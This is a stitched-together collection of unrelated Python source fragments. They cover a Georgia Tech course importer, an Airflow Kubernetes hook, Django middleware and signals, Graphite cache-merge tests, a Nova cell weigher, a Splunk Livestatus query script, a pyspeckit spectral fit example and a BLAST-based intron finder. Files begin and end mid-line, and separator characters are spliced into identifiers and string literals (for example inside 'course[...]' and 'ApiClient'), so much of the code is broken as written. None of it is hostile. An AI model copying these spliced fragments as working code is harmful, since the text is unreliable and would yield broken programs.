createRefs = {} ## created since last diff()
for o in refs:
|
import datetime
import json
from classrank.database.wrapper import Query
"""add_to_database.py: adds courses from Grouch to the ClassRank DB."""
def add_to_database(grouch_output, db):
"""
Add courses from Grouch's output to a db.
Keyword arguments:
grouch_output -- the output of Grouch (the scraped info)
db -- the db to add to
"""
print("Beginning Grouch parse ({}).".format(datetime.datetime.now()))
all_courses = parse(grouch_output)
print("Ending Grouch parse ({}).".format(datetime.datetime.now()))
if len(all_courses) != 0:
print("Beginning database add ({}).".format(datetime.datetime.now()))
with Query(db) as q:
school_dict = {"name": "Georgia Institute of Technology",
"abbreviation": "gatech"}
if not _school_in_database(school_dict, db, q):
q.add(db.school(**school_dict))
school_id = q.query(db.school).filter_by(**school_dict).one().uid
for course, sections in all_courses:
course_dict = {"school_id": school_id,
"name": course['name'],
"description": course['fullname'],
"number": course['number'],
"subject": course['school']}
if not _course_in_database(course_dict, db, q):
q.add(db.course(**course_dict))
course_id = q.query(db.course).filter_by(**course_dict).one().uid
for section in sections:
section_dict = {"course_id": course_id,
"semester": course['semester'],
"year": course['year'],
"name": section['section_id'],
"crn": section['crn']}
q.add(db.section(**section_dict))
print("Ending database add ({}).".format(datetime.datetime.now()))
def parse(to_read):
"""Parse Grouch output (JSON) to dictionaries, with some additions.
Keyword arguments:
to_read -- the file of Grouch output (one JSON document per line)
Return a list of tuples of (course, sections_of_course).
"""
# A mapping of semester number to string name
semester_map = {'2': 'Spring',
'5': 'Summer',
'8': 'Fall'}
all_courses = []
with open(to_read, 'r') as f:
for line in f:
course = json.loads(line)
# Extract the semester and year for easier use later
semester_token = course['semester'] # of the form yyyymm
year = semester_token[0:4]
month = semester_token[5:6]
semester = semester_map[month]
course['year'] = year
course['semester'] = semester
sections = []
if 'sections' in course: # If the course has sections
sections = course[' | sections']
all_courses.append((c | ourse, sections))
return all_courses
def _school_in_database(school_dict, db, q):
"""Check if a school is in the database.
Keyword arguments:
school_dict -- a dictionary specifying the school to check
db -- the db to search in
q -- the Query object used to query the database
Returns True if there are instances of school in database, False otherwise
"""
return len(q.query(db.school).filter_by(**school_dict).all()) != 0
def _course_in_database(course_dict, db, q):
"""Check if a course is in the database.
Keyword arguments:
course_dict -- a dictionary specifying the course to check
db -- the db to search in
q -- the Query object used to query the database
Returns True if there are instances of course in database, False otherwise
"""
return len(q.query(db.course).filter_by(**course_dict).all()) != 0
|
rom kubernetes import client, config, watch
from airflow.exceptions import AirflowException
from airflow.hooks.base import BaseHook
def _load_body_to_dict(body):
try:
body_dict = yaml.safe_load(body)
except yaml.YAMLError as e:
raise AirflowException("Exception when loading resource definition: %s\n" % e)
return body_dict
class KubernetesHook(BaseHook):
"""
Creates Kubernetes API connection.
- use in cluster configuration by using ``extra__kubernetes__in_cluster`` in connection
- use custom config by providing path to the file using ``extra__kubernetes__kube_config_path``
- use custom configuration by providing content of kubeconfig file via
``extra__kubernetes__kube_config`` in connection
- use default config by providing no extras
This hook check for configuration option in the above order. Once an option is present it will
use this configuration.
.. seealso::
For more information about Kubernetes connection:
:doc:`/connections/kubernetes`
:param conn_id: the connection to Kubernetes cluster
:type conn_id: str
"""
conn_name_attr = 'kubernetes_conn_id'
default_conn_name = 'kubernetes_default'
conn_type = 'kubernetes'
hook_name = 'Kubernetes Cluster Connection'
@staticmethod
def get_connection_form_widgets() -> Dict[str, Any]:
"""Returns connection widgets to add to connection form"""
from flask_appbuilder.fieldwidgets import BS3TextFieldWidget
from flask_babel import lazy_gettext
from wtforms import BooleanField, StringField
return {
"extra__kubernetes__in_cluster": BooleanField(lazy_gettext('In cluster configuration')),
"extra__kubernetes__kube_config_path": StringField(
lazy_gettext('Kube config path'), widget=BS3TextFieldWidget()
),
"extra__kubernetes__kube_config": StringField(
lazy_gettext('Kube config (JSON format)'), widget=BS3TextFieldWidget()
),
"extra__kubernetes__namespace": StringField(
lazy_gettext('Namespace'), widget=BS3TextFieldWidget()
),
}
@staticmethod
def get_ui_field_behaviour() -> Dict:
"""Returns custom field behaviour"""
return {
"hidden_fields": ['host', 'schema', 'login', 'password', 'port', 'extra'],
"relabeling": {},
}
def __init__(
self, conn_id: str = default_conn_name, client_configuration: Optional[client.Configuration] = None
) -> None:
super().__init__()
self.conn_id = conn_id
self.client_configuration = client_configuration
def get_conn(self) -> Any:
"""Returns kubernetes api session for use with requests"""
connection = self.get_connection(self.conn_id)
extras = connection.extra_dejson
in_cluster = extras.get("extra__kubernetes__in_cluster")
kubeconfig_path = extras.get("extra__kubernetes__kube_config_path")
kubeconfig = extras.get("extra__kubernetes__kube_config")
num_selected_configuration = len([o for o in [in_cluster, kubeconfig, kubeconfig_path] if o])
if num_selected_configuration > 1:
raise AirflowException(
"Invalid connection configuration. Options extra__kubernetes__kube_config_path, "
"extra__kubernetes__kube_config, extra__kubernetes__in_cluster are mutually exclusive. "
"You can only use one option at a time."
)
if in_cluster:
self.log.debug("loading kube_config from: in_cluster configuration")
config.load_incluster_config()
return client.ApiClient()
if kubeconfig_path is not None:
self.log.debug("loading kube_config from: %s", kubeconfig_path)
config.load_kube_config(
config_file=kubeconfig_path, client_configuration=self.client_configuration
)
return client.ApiClient()
if kubeconfig is not None:
with tempfile.NamedTemporaryFile() as temp_config:
self.log.debug("loading kube_config from: connection kube_config")
temp_config.write(kubeconfig.encode())
temp_config.flush()
config.load_kube_config(
config_file=temp_config.name, client_configuration=self.client_configuration
)
return client.ApiClient()
self.log.debug("loading kube_config from: default file")
config.load_kube_config(client_configuration=self.client_configuration)
return client.ApiCl | ient()
@cached_property
def api_client(self) -> Any:
"""Cached Kubernetes API client"""
return self.get_conn()
def create_custom_object(
self, group: str, version: str, plural: str, body: Union[str, dict], namespace: Optional[str] = None
):
"""
Creates custom resource definition object in Kubernetes
:param group: api group
:type group: str
:param version: api version
| :type version: str
:param plural: api plural
:type plural: str
:param body: crd object definition
:type body: Union[str, dict]
:param namespace: kubernetes namespace
:type namespace: str
"""
api = client.CustomObjectsApi(self.api_client)
if namespace is None:
namespace = self.get_namespace()
if isinstance(body, str):
body = _load_body_to_dict(body)
try:
response = api.create_namespaced_custom_object(
group=group, version=version, namespace=namespace, plural=plural, body=body
)
self.log.debug("Response: %s", response)
return response
except client.rest.ApiException as e:
raise AirflowException("Exception when calling -> create_custom_object: %s\n" % e)
def get_custom_object(
self, group: str, version: str, plural: str, name: str, namespace: Optional[str] = None
):
"""
Get custom resource definition object from Kubernetes
:param group: api group
:type group: str
:param version: api version
:type version: str
:param plural: api plural
:type plural: str
:param name: crd object name
:type name: str
:param namespace: kubernetes namespace
:type namespace: str
"""
api = client.CustomObjectsApi(self.api_client)
if namespace is None:
namespace = self.get_namespace()
try:
response = api.get_namespaced_custom_object(
group=group, version=version, namespace=namespace, plural=plural, name=name
)
return response
except client.rest.ApiException as e:
raise AirflowException("Exception when calling -> get_custom_object: %s\n" % e)
def get_namespace(self) -> str:
"""Returns the namespace that defined in the connection"""
connection = self.get_connection(self.conn_id)
extras = connection.extra_dejson
namespace = extras.get("extra__kubernetes__namespace", "default")
return namespace
def get_pod_log_stream(
self,
pod_name: str,
container: Optional[str] = "",
namespace: Optional[str] = None,
) -> Tuple[watch.Watch, Generator[str, None, None]]:
"""
Retrieves a log stream for a container in a kubernetes pod.
:param pod_name: pod name
:type pod_name: str
:param container: container name
:param namespace: kubernetes namespace
:type namespace: str
"""
api = client.CoreV1Api(self.api_client)
watcher = watch.Watch()
return (
watcher,
watcher.stream(
api.read_namespaced_pod_log,
name=pod_name,
container=container,
namespace=namespace if namespace else self.get_namespace(),
),
)
def get_pod_logs(
|
"""
Handling signals of the `core` app
"""
from django.dispatch import receiver
from core import signals
from reader import actions
@r | eceiver(signals.app_link_ready)
def app_link_ready(sender, **kwargs):
actions.create_app_ | link()
|
from setuptools import setup
setup(
name="agentarchives",
description="Clients to retrieve, add, and modify records from archival management systems",
url="https://github.com/artefactual-labs/agentarchives",
author="Artefactual Systems",
author_email="info@artefactual.com",
license="AGPL 3",
version="0.7.0",
packages=[
"agentarchives",
"agentarchives.archivesspace",
"agentarchives.archivists_toolkit",
"agentarchives.atom",
],
install_requires=["requests>=2,<3", "mysqlclient>=1.3,<2"],
python_requires=">=2.7,!=3.0.*,!=3.1.*,!=3.2.*,!=3.3.*,!=3.4.*,! | =3.5.*",
classifiers=[
"Development Status :: 4 - Beta",
"License :: OSI Approved :: GNU Affero General Public License v3",
"Programming Language :: Python :: 2",
"Programming Language :: Python :: 2.7",
"Programming Language : | : Python :: 3",
"Programming Language :: Python :: 3.6",
"Programming Language :: Python :: 3.7",
"Programming Language :: Python :: 3.8",
],
)
|
Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distribut | ed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from ..proto.summary_pb2 import Summary
from ..proto.summary_pb2 import SummaryMetadata
from ..proto.tensor_pb2 import TensorProto |
from ..proto.tensor_shape_pb2 import TensorShapeProto
import os
import time
import numpy as np
# import tensorflow as tf
# from tensorboard.plugins.beholder import im_util
# from . import im_util
from .file_system_tools import read_pickle,\
write_pickle, write_file
from .shared_config import PLUGIN_NAME, TAG_NAME,\
SUMMARY_FILENAME, DEFAULT_CONFIG, CONFIG_FILENAME, SUMMARY_COLLECTION_KEY_NAME, SECTION_INFO_FILENAME
from . import video_writing
# from .visualizer import Visualizer
class Beholder(object):
def __init__(self, logdir):
self.PLUGIN_LOGDIR = logdir + '/plugins/' + PLUGIN_NAME
self.is_recording = False
self.video_writer = video_writing.VideoWriter(
self.PLUGIN_LOGDIR,
outputs=[video_writing.FFmpegVideoOutput, video_writing.PNGVideoOutput])
self.last_image_shape = []
self.last_update_time = time.time()
self.config_last_modified_time = -1
self.previous_config = dict(DEFAULT_CONFIG)
if not os.path.exists(self.PLUGIN_LOGDIR + '/config.pkl'):
os.makedirs(self.PLUGIN_LOGDIR)
write_pickle(DEFAULT_CONFIG,
'{}/{}'.format(self.PLUGIN_LOGDIR, CONFIG_FILENAME))
# self.visualizer = Visualizer(self.PLUGIN_LOGDIR)
def _get_config(self):
'''Reads the config file from disk or creates a new one.'''
filename = '{}/{}'.format(self.PLUGIN_LOGDIR, CONFIG_FILENAME)
modified_time = os.path.getmtime(filename)
if modified_time != self.config_last_modified_time:
config = read_pickle(filename, default=self.previous_config)
self.previous_config = config
else:
config = self.previous_config
self.config_last_modified_time = modified_time
return config
def _write_summary(self, frame):
'''Writes the frame to disk as a tensor summary.'''
path = '{}/{}'.format(self.PLUGIN_LOGDIR, SUMMARY_FILENAME)
smd = SummaryMetadata()
tensor = TensorProto(
dtype='DT_FLOAT',
float_val=frame.reshape(-1).tolist(),
tensor_shape=TensorShapeProto(
dim=[TensorShapeProto.Dim(size=frame.shape[0]),
TensorShapeProto.Dim(size=frame.shape[1]),
TensorShapeProto.Dim(size=frame.shape[2])]
)
)
summary = Summary(value=[Summary.Value(
tag=TAG_NAME, metadata=smd, tensor=tensor)]).SerializeToString()
write_file(summary, path)
@staticmethod
def stats(tensor_and_name):
imgstats = []
for (img, name) in tensor_and_name:
immax = img.max()
immin = img.min()
imgstats.append(
{
'height': img.shape[0],
'max': str(immax),
'mean': str(img.mean()),
'min': str(immin),
'name': name,
'range': str(immax - immin),
'shape': str((img.shape[1], img.shape[2]))
})
return imgstats
def _get_final_image(self, config, trainable=None, arrays=None, frame=None):
if config['values'] == 'frames':
# print('===frames===')
final_image = frame
elif config['values'] == 'arrays':
# print('===arrays===')
final_image = np.concatenate([arr for arr, _ in arrays])
stat = self.stats(arrays)
write_pickle(
stat, '{}/{}'.format(self.PLUGIN_LOGDIR, SECTION_INFO_FILENAME))
elif config['values'] == 'trainable_variables':
# print('===trainable===')
final_image = np.concatenate([arr for arr, _ in trainable])
stat = self.stats(trainable)
write_pickle(
stat, '{}/{}'.format(self.PLUGIN_LOGDIR, SECTION_INFO_FILENAME))
if len(final_image.shape) == 2: # Map grayscale images to 3D tensors.
final_image = np.expand_dims(final_image, -1)
return final_image
def _enough_time_has_passed(self, FPS):
'''For limiting how often frames are computed.'''
if FPS == 0:
return False
else:
earliest_time = self.last_update_time + (1.0 / FPS)
return time.time() >= earliest_time
def _update_frame(self, trainable, arrays, frame, config):
final_image = self._get_final_image(config, trainable, arrays, frame)
self._write_summary(final_image)
self.last_image_shape = final_image.shape
return final_image
def _update_recording(self, frame, config):
'''Adds a frame to the current video output.'''
# pylint: disable=redefined-variable-type
should_record = config['is_recording']
if should_record:
if not self.is_recording:
self.is_recording = True
print('Starting recording using %s',
self.video_writer.current_output().name())
self.video_writer.write_frame(frame)
elif self.is_recording:
self.is_recording = False
self.video_writer.finish()
print('Finished recording')
# TODO: blanket try and except for production? I don't someone's script to die
# after weeks of running because of a visualization.
def update(self, trainable=None, arrays=None, frame=None):
'''Creates a frame and writes it to disk.
Args:
trainable: a list of namedtuple (tensors, name).
arrays: a list of namedtuple (tensors, name).
frame: lalala
'''
new_config = self._get_config()
if True or self._enough_time_has_passed(self.previous_config['FPS']):
# self.visualizer.update(new_config)
self.last_update_time = time.time()
final_image = self._update_frame(
trainable, arrays, frame, new_config)
self._update_recording(final_image, new_config)
##############################################################################
# @staticmethod
# def gradient_helper(optimizer, loss, var_list=None):
# '''A helper to get the gradients out at each step.
# Args:
# optimizer: the optimizer op.
# loss: the op that computes your loss value.
# Returns: the gradient tensors and the train_step op.
# '''
# if var_list is None:
# var_list = tf.trainable_variables()
# grads_and_vars = optimizer.compute_gradients(loss, var_list=var_list)
# grads = [pair[0] for pair in grads_and_vars]
# return grads, optimizer.apply_gradients(grads_and_vars)
# implements pytorch backward later
class BeholderHook():
pass
# """SessionRunHook implementation that runs Beholder every step.
# Convenient when using tf.train.MonitoredSession:
# ```python
# beholder_hook = BeholderHook(LOG_DIRECTORY)
# with MonitoredSession(..., hooks=[beholder_hook]) as sess:
# sess.run(train_op)
# ```
# """
# def __init__(self, logdir):
# """Creates new Hook instance
# Args:
# logdir: Directory where Beholder should write data.
# """
# self._logdir = logdir
# self.beholder = None
# def begin(self):
# self.b |
values=values,
func='average'
)
# Generate the expected values
expected_values = range(0, window_size/2, step)
for i in range(0, window_size/2, step):
expected_values.append(1)
self.assertEqual(expected_values, values)
def test_merge_with_cache_with_different_step_max(self):
# Data values from the Reader:
start = 1465844460 # (Mon Jun 13 19:01:00 UTC 2016)
window_size = 7200 # (2 hour)
step = 60 # (1 minute)
# Fill in half the data. Nones for the rest.
values = range(0, window_size/2, step)
for i in range(0, window_size/2, step):
values.append(None)
# Generate data that would normally come from Carbon.
# Step will be different since that is what we are testing
cache_results = []
for i in range(start+window_size/2, start+window_size, 1):
cache_results.append((i, 1))
# merge the db results with the cached results
values = merge_with_cache(
cached_datapoints=cache_results,
start=start,
step=step,
values=values,
func='max'
)
# Generate the expected values
expected_values = range(0, window_size/2, step)
for i in range(0, window_size/2, step):
expected_values.append(1)
self.assertEqual(expected_values, values)
def test_merge_with_cache_with_different_step_min(self):
# Data values from the Reader:
start = 1465844460 # (Mon Jun 13 19:01:00 UTC 2016)
window_size = 7200 # (2 hour)
step = 60 # (1 minute)
# Fill in half the data. Nones for the rest.
values = range(0, window_size/2, step)
for i in range(0, window_size/2, step):
values.append(None)
# Generate data that would normally come from Carbon.
# Step will be different since that is what we are testing
cache_results = []
for i in range(start+window_size/2, start+window_size, 1):
cache_results.append((i, 1))
# merge the db results with the cached results
values = merge_with_cache(
cached_datapoints=cache_results,
start=start,
step=step,
values=values,
func='min'
)
# Generate the expected values
expected_values = range(0, window_size/2, step)
for i in range(0, window_size/2, step):
expected_values.append(1)
self.assertEqual(expected_values, values)
def test_merge_with_cache_with_different_step_last(self):
# Data values from the Reader:
start = 1465844460 # (Mon Jun 13 19:01:00 UTC 2016)
window_size = 7200 # (2 hour)
step = 60 # (1 minute)
# Fill in half the data. Nones for the rest.
values = range(0, window_size/2, step)
for i in range(0, window_size/2, step):
values.append(None)
# Generate data that would normally come from Carbon.
# Step will be different since that is what we are testing
cache_results = []
for i in range(start+window_size/2, start+window_size, 1):
cache_results.append((i, 1))
# merge the db results with the cached results
values = merge_with_cache(
cached_datapoints=cache_results,
start=start,
step=step,
values=values,
func='last'
)
# Generate the expected values
expected_values = range(0, window_size/2, step)
for i in range(0, window_size/2, step):
expected_values.append(1)
self.assertEqual(expected_values, values)
def test_merge_with_cache_with_different_step_bad(self):
# Data values from the Reader:
start = 1465844460 # (Mon Jun 13 19:01:00 UTC 2016)
window_size = 7200 # (2 hour)
step = 60 # (1 minute)
# Fill in half the data. Nones for the rest.
values = range(0, window_size/2, step)
for i in range(0, window_size/2, step):
values.append(None)
# Generate data that would normally come from Carbon.
# Step will be different since that is what we are testing
cache_results = []
for i in range(start+window_size/2, start+window_size, 1):
cache_results.append((i, | 1))
# merge the db results with the cached results
with self.assertRaisesRegexp(Exception, "Invalid consolidation function: 'bad_function'"):
values = merge_with_cache(
cached_datapoints=cache_results,
start=start,
step=step,
values=values,
fu | nc='bad_function'
)
# In merge_with_cache, if the `values[i] = value` fails, then
# the try block catches the exception and passes. This tests
# that case.
def test_merge_with_cache_beyond_max_range(self):
# Data values from the Reader:
start = 1465844460 # (Mon Jun 13 19:01:00 UTC 2016)
window_size = 7200 # (2 hour)
step = 60 # (1 minute)
# Fill in half the data. Nones for the rest.
values = range(0, window_size/2, step)
for i in range(0, window_size/2, step):
values.append(None)
# Generate data that would normally come from Carbon.
# Step will be different since that is what we are testing
cache_results = []
for i in range(start+window_size, start+window_size*2, 1):
cache_results.append((i, None))
# merge the db results with the cached results
values = merge_with_cache(
cached_datapoints=cache_results,
start=start,
step=step,
values=values,
func='sum'
)
# Generate the expected values
expected_values = range(0, window_size/2, step)
for i in range(0, window_size/2, step):
expected_values.append(None)
self.assertEqual(expected_values, values)
def test_merge_with_cache_when_previous_window_in_cache(self):
start = 1465844460 # (Mon Jun 13 19:01:00 UTC 2016)
window_size = 3600 # (1 hour)
step = 60 # (1 minute)
# simulate db data, no datapoints for the given
# time window
values = self._create_none_window(step)
# simulate cached data with datapoints only
# from the previous window
cache_results = []
prev_window_start = start - window_size
prev_window_end = prev_window_start + window_size
for i in range(prev_window_start, prev_window_end, step):
cache_results.append((i, 1))
# merge the db results with the cached results
values = merge_with_cache(
cached_datapoints=cache_results,
start=start,
step=step,
values=values
)
# the merged results should be a None window because:
# - db results for the window are None
# - cache does not contain relevant points
self.assertEqual(self._create_none_window(step), values)
@staticmethod
def _create_none_window(points_per_window):
return [None for _ in range(0, points_per_window)]
#
# Test MultiReader with multiple WhisperReader instances
#
class MultiReaderTests(TestCase):
start_ts = 0
# Create/wipe test whisper files
hostcpu = os.path.join(settings.WHISPER_DIR, 'hosts/hostname/cpu.wsp')
worker1 = hostcpu.replace('hostname', 'worker1')
worker2 = hostcpu.replace('hostname', 'worker2')
worker3 = hostcpu.replace('hostname', 'worker3')
worker4 = hostcpu.replace('hostname', 'worker4')
worker4 = worker4.replace('cpu.wsp', 'cpu.wsp.gz')
def create_whisper_hosts(self):
self.start_ts = int(time.time())
try:
os.makedirs(self.worker1.replace('cpu.wsp', ''))
os.makedirs(self.worker2.replace('cpu.wsp', ''))
os.makedirs(self.worker3.replace('cpu.wsp', ''))
|
# Copyright (c) 2012-2013 Rackspace Hosting
# All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
# License for the specific language governing permissions and limitations
# under the License.
"""
Weigh cells by memory needed in a way that spreads instances.
"""
from oslo.config import cfg
from nova.cells import weights
ram_weigher_opts = [
cfg.FloatOpt('ram_weight_multiplier',
default=10.0,
help='Multiplier used for weighing ram. Negative '
'numbers mean to stack vs spread.'),
]
CONF = cfg.CONF
CONF.register_opts(ram_weigher_opts, group='cells')
class RamByInstanceTypeWeigher(weights.BaseCellWeigher):
"""Weigh cells by instance_type requested."""
def weight_multiplier(self):
return CONF.cells.ram_weight_multiplier
def _weigh_object(self, cell, weight_properties):
"""Use the 'ram_free' for a particular instance_type advertised from a
child cell's capacity to compute a weight. We want to direct the
build to a cell with a higher capacity. Since higher weights win,
we just return the number of units available for the instan | ce_type.
"""
request_spec = weight_properties['request_spec']
instance_type = request_spec['instance_type']
memory_needed = instance_type['memory_mb']
ram_free = cell.capacities.get('ram_free', | {})
units_by_mb = ram_free.get('units_by_mb', {})
return units_by_mb.get(str(memory_needed), 0)
|
from django.conf import settings
from .func import (check_if_trusted,
get_from_X_FORWARDED_FOR as _get_from_xff,
get_from_X_REAL_IP)
trusted_list = (settings.REAL_IP_TRUSTED_LIST
if hasattr(settings, 'REAL_IP_TRUSTED_LIST')
else [])
def get_from_X_FORWARDED_FOR(header):
return _get_from_xff(header, trusted_list)
func_map = {'HTTP_X_REAL_ | IP': get_from_X_REAL_IP,
'HTTP_X_FORWARDED_FOR': get_from_X_FORWARDED_FOR}
real_ip_headers = (settings.REAL_IP_HEADERS
if hasattr(settings, 'REAL_IP_HEADERS')
else ['HTTP_X_REAL_IP', 'HTTP_X_FORWARDED_FOR'])
class DjangoRealIPMiddleware(object):
def process_request(self, request):
if not check_if_trusted(request.META['REMOTE_ADDR'], trusted_list):
# Only header from trusted ip ca | n be used
return
for header_name in real_ip_headers:
try:
# Get the parsing function
func = func_map[header_name]
# Get the header value
header = request.META[header_name]
except KeyError:
continue
# Parse the real ip
real_ip = func(header)
if real_ip:
request.META['REMOTE_ADDR'] = real_ip
break
|
# -*- coding: utf-8 -*-
##############################################################################
#
# Copyright (C) 2015 ADHOC SA (http://www.adhoc.com.ar)
# All Rights Reserved.
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU Affero General Public License as
# published by the Free Software Foundation, either version 3 of the
# License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU Affero General Public License for more details.
#
# You should have received a copy of the GNU Affero General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
#
############################## | ################################################
{
'name': 'Project and Analytic Account integration impprovements',
'version': '8.0.1.0.0',
'category': 'Projects & Services',
'sequence': 14,
'summary': '',
'description': """
Project and A | nalytic Account integration impprovements.
=======================================================
Adds domains restriction to project task so that only projets that use task and are not in cancelled, done or tempalte state, can be choosen.
Adds domains restriction to timesheet records so that only
""",
'author': 'ADHOC SA',
'website': 'www.adhoc.com.ar',
'images': [
],
'depends': [
'project_timesheet',
'hr_timesheet_invoice',
],
'data': [
'project_timesheet_view.xml',
],
'demo': [
],
'test': [
],
'installable': True,
'auto_install': False,
'application': False,
}
# vim:expandtab:smartindent:tabstop=4:softtabstop=4:shiftwidth=4: |
# Script to request hosts with DOWN status and total hosts by accessing MK Livestatus
# Required field to be passed to this script from Splunk: n/a
import socket,string,sys,re,splunk.Intersplunk,mklivestatus
results = []
try:
results,dummyresults,settings = splunk.Intersplunk.getOrganizedResults()
for r in results:
try:
HOST = mklivestatus.HOST
PORT = mklivestatus.PORT
s = None
livehostsdown = 0
livehoststotal = 0
for h in HOST:
content = [ "GET hosts\nStats: state = 1\nStats: state != 9999\n" ]
query = "".join(content)
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((h, PORT))
except socket.error, (value,message):
if s:
s.close()
#Error: Could not open socket: connection refused (MK Livestatus not setup in xinetd?)
break
s.send(query)
s.shutdown(socket.SHUT_WR)
data = s.recv(100000000)
| data2 = (re.findall(r'(No UNIX socket)', data))
if data2:
#Error: MK Livestatus module not loaded?
s.close()
else:
livehosts2 = data.strip()
livehosts = livehosts2.split(";")
s.close()
livehostsdownind = int(livehosts | [0])
livehoststotalind = int(livehosts[1])
livehostsdown = livehostsdown + livehostsdownind
livehoststotal = livehoststotal + livehoststotalind
r["livehostsdownstatus"] = livehostsdown
r["livehoststotalstatus"] = livehoststotal
except:
r["livehostsdownstatus"] = "0"
r["livehoststotalstatus"] = "0"
except:
import traceback
stack = traceback.format_exc()
results = splunk.Intersplunk.generateErrorResults("Error : Traceback: " + str(stack))
splunk.Intersplunk.outputResults( results )
|
import pyspeckit
import os
from pyspeckit.spectrum.models import nh2d
import numpy as np
import astropy.units as u
if not os.path.exists('p-nh2d_spec.fits'):
import astropy.utils.data as aud
from astropy.io import fits
f = aud.download_file('https://github.com/pyspeckit/pyspeckit-example-files/raw/master/p-nh2d_spec.fits')
with fits.open(f) as ff:
ff.writeto('p-nh2d_spec.fits')
# Load the spectrum
spec = pyspeckit.Spectrum('p-nh2d_spec.fits')
# Determine rms from line free section and load into cube
rms = np.std(spec.data[10:340])
spec.error[:] = rms
# | setup spectral axis
spec.xarr.refX = 110.153594*u.GHz
spec.xarr.velocity_convention = 'radio'
spec.xarr.convert_to_unit('km/s')
# define useful shortcuts for True and False
F=False
T=True
# Setup of matplotlib
import matplotlib.pyplot as plt
plt.ion()
# Add NH2D fitter
spec.Registry.add_fitter('nh2d_vtau', pyspeckit.models.nh2d.nh2d_vtau_fitter,4)
# run spectral fit using some reasonable guesses
spec.sp | ecfit(fittype='nh2d_vtau', guesses=[5.52, 2.15, 0.166, 0.09067],
verbose_level=4, signal_cut=1.5, limitedmax=[F,T,T,T], limitedmin=[T,T,T,T],
minpars=[0, 0, -1, 0.05], maxpars=[30.,50.,1,0.5], fixed=[F,F,F,F])
# plot best fit
spec.plotter(errstyle='fill')
spec.specfit.plot_fit()
#save figure
plt.savefig('example_p-NH2D.png')
|
#!/usr/bin/env python
import argparse
import os
import sqlite3
from Bio import SeqIO, SeqRecord, Seq
from Bio.Align.Applications import ClustalwCommandline
from Bio.Blast import NCBIXML
from Bio.Blast.Applications import NcbiblastnCommandline as bn
from Bio import AlignIO
AT_DB_FILE = 'AT.db'
BLAST_EXE = '~/opt/ncbi-blast-2.6.0+/bin/blastn'
BLAST_DB = '~/opt/ncbi-blast-2.6.0+/db/TAIR10'
CLUSTALW_EXE = '../../clustalw2'
def allgaps(seq):
"""Return a list with tuples containing all gap positions
and length. seq is a string."""
gaps = []
indash = False
for i, c in enumerate(seq):
if indash is False and c == '-':
c_ini = i
indash = True
dashn = 0
elif indash is True and c == '-':
dashn += 1
elif indash is True and c != '-':
indash = False
gaps.append((c_ini, dashn+1))
return gaps
def iss(user_seq):
"""Infer Splicing Sites from a FASTA file full of EST
sequences"""
with open('forblast','w') as forblastfh:
forblastfh.write(str(user_seq.seq))
blastn_cline = bn(cmd=BLAST_EXE, query='forblast',
db=BLAST_DB, evalue='1e-10', outfmt=5,
num_descriptions='1',
num_alignments='1', out='outfile.xml')
blastn_cline()
b_record = NCBIXML.read(open('outfile.xml'))
title = b_record.alignments[0].title
sid = title[title.index(' ')+1 : title.index(' |')]
# Polarity information of returned sequence.
# 1 = normal, -1 = reverse.
frame = b_record.alignments[0].hsps[0].frame[1]
# Run the SQLite query
conn = sqlite3.connect(AT_DB_FILE)
c = conn.cursor()
res_cur = c.execute('SELECT CDS, FULL_SEQ from seq '
'WHERE ID=?', (sid,))
cds, full_seq = res_cur.fetchone()
if cds=='':
print('There is no matching CDS')
exit()
# Check sequence polarity.
sidcds = '{0}-CDS'.format(sid)
sidseq = '{0}-SEQ'.format(sid)
if frame==1:
seqCDS = SeqRecord.SeqRecord(Seq.Seq(cds),
id = sidcds,
name = '',
description = '')
fullseq = SeqRecord.SeqRecord(Seq.Seq(full_seq),
id = sidseq,
name='',
description='')
else:
seqCDS = SeqRecord.SeqRecord(
Seq.Seq(cds).reverse_complement(),
id = sidcds, name='', description='')
fullseq = SeqRecord.SeqRecord(
Seq.Seq(full_seq).reverse_complement(),
id = sidseq, name = '', description='')
# A tuple with the user sequence and both AT sequences
allseqs = (record, seqCDS, fullseq)
with open('foralig.txt','w') as trifh:
# Write the file with the three sequences
SeqIO.write(allseqs, trifh, 'fasta')
# Do the alignment:
outfilename = '{0}.aln'.format(user_seq.id)
cline = ClustalwCommandline(CLUSTALW_EXE,
infile = 'foralig.txt',
outfile = outfilename,
)
cline()
# Walk over all sequences and look for query sequence
for seq in AlignIO.read(outfilename, 'clustal'):
if user_seq.id in seq.id:
seqstr = str(seq.seq)
gaps = allgaps(seqstr.strip('-'))
break
print('Original sequence: {0}'.format(user_seq.id))
print('\nBest match in AT CDS: {0}'.format(sid))
acc = 0
for i, gap in enumerate(gaps):
print('Putative intron #{0}: Start at position {1}, '
'length {2}'.format(i+1, gap[0]-acc, gap[1]))
acc += gap[1]
print('\n{0}'.format(seqstr.strip('-')))
print('\nAlignment file: {0}\n'.format(outfilename))
description = 'Program to | infer intron position based on ' \
'Ara | bidopsis Thaliana genome'
parser = argparse.ArgumentParser(description=description)
ifh = 'Fasta formated file with sequence to search for introns'
parser.add_argument('input_file', help=ifh)
args = parser.parse_args()
seqhandle = open(args.input_file)
records = SeqIO.parse(seqhandle, 'fasta')
for record in records:
iss(record)
|
# Copyright (C) 2010-2011 Richard Lincoln
#
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to
# deal in the Software without restriction, including without limitation the
# rights to use, copy, modify, merge, publish, distribute, sublicense, and/or
# sell copies of the Software, and to permit persons to whom the Software is
# furnished to do so, subject to the following conditions:
